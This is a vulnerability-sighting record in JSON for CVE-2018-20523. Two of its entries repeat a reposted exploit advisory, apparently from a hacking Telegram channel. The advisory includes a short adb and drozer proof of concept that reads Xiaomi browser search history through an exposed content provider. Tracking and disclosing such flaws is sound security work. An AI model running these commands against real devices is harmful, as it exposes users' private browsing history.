{"vulnerability": "cve-2018-20523", "sightings": [{"uuid": "661459b1-6e86-4207-bfbd-72c43d63bf5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-20523", "type": "seen", "source": "MISP/78d492fe-b4e7-4782-9057-a76b1ed9c81e", "content": "", "creation_timestamp": "2021-08-23T13:08:35.000000Z"}, {"uuid": "00da686b-e3af-4f4c-8ec8-9bd5cf63a882", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-20523", "type": "seen", "source": "MISP/80255e6d-367a-4793-8b8e-01fb8266727c", "content": "", "creation_timestamp": "2024-11-14T06:09:46.000000Z"}, {"uuid": "12b5dea5-61bd-4dda-bc3d-7edad66760f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-20523", "type": "seen", "source": "https://t.me/hacking_Attack/20016", "content": "Exploit Collector\nXiaomi 10.2.4.g Information Disclosure\n\nhttps://4.bp.blogspot.com/-5kb4UTwsKkE/WWlvjussFoI/AAAAAAAAIQs/uqojaqb90NcMo4ROOoH-c5uvdKeDdbGswCLcBGAs/s1600/h94.png \nXiaomi browser version 10.2.4.g suffers from a browser search history disclosure vulnerability.\n\nMD5 | 9dea490704dc2785ee1fa573e8494850\n\nDownload\n# Exploit Title: Xiaomi browser 10.2.4.g - Browser Search History Disclosure\n# Date: 27-Dec-2018\n# Exploit Author: Vishwaraj101\n# Vendor Homepage: https://www.mi.com/us\n# Software Link: https://www.apkmirror.com/apk/xiaomi-inc/mi-browse/mi-browse-10-2-4-release/\n# Version: 10.2.4.g\n# Tested on: Tested in Android Version: 8.1.0\n# CVE : CVE-2018-20523\n\n*summary: *\nXiaomi Stock Browser 10.2.4.g on Xiaomi Redmi Note 5 Pro devices and other Redmi Android phones were vulnerable to content provider injection using which any 3rd party application can read the user\u2019s browser history.\n\n*Vulnerable component:* com.android.browser.searchhistory\n\n*Poc:*\n\nadb forward tcp:31415 tcp:31415\n\ndrozer console connect\n\ndrozer > run app.provider.query\ncontent://com.android.browser.searchhistory/searchhistory\n\n*Blogpost:*\n\nhttps://vishwarajbhattrai.wordpress.com/2019/03/22/content-provider-injection-in-xiaomi-stock-browser/\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:28.416320Z"}, {"uuid": "852f3e5d-3e09-41b0-b374-f13607b60988", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-20523", "type": "seen", "source": "https://t.me/hacking_Attack/20016", "content": "Exploit Collector\nXiaomi 10.2.4.g Information Disclosure\n\nhttps://4.bp.blogspot.com/-5kb4UTwsKkE/WWlvjussFoI/AAAAAAAAIQs/uqojaqb90NcMo4ROOoH-c5uvdKeDdbGswCLcBGAs/s1600/h94.png \nXiaomi browser version 10.2.4.g suffers from a browser search history disclosure vulnerability.\n\nMD5 | 9dea490704dc2785ee1fa573e8494850\n\nDownload\n# Exploit Title: Xiaomi browser 10.2.4.g - Browser Search History Disclosure\n# Date: 27-Dec-2018\n# Exploit Author: Vishwaraj101\n# Vendor Homepage: https://www.mi.com/us\n# Software Link: https://www.apkmirror.com/apk/xiaomi-inc/mi-browse/mi-browse-10-2-4-release/\n# Version: 10.2.4.g\n# Tested on: Tested in Android Version: 8.1.0\n# CVE : CVE-2018-20523\n\n*summary: *\nXiaomi Stock Browser 10.2.4.g on Xiaomi Redmi Note 5 Pro devices and other Redmi Android phones were vulnerable to content provider injection using which any 3rd party application can read the user\u2019s browser history.\n\n*Vulnerable component:* com.android.browser.searchhistory\n\n*Poc:*\n\nadb forward tcp:31415 tcp:31415\n\ndrozer console connect\n\ndrozer > run app.provider.query\ncontent://com.android.browser.searchhistory/searchhistory\n\n*Blogpost:*\n\nhttps://vishwarajbhattrai.wordpress.com/2019/03/22/content-provider-injection-in-xiaomi-stock-browser/\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:03:01.711194Z"}]}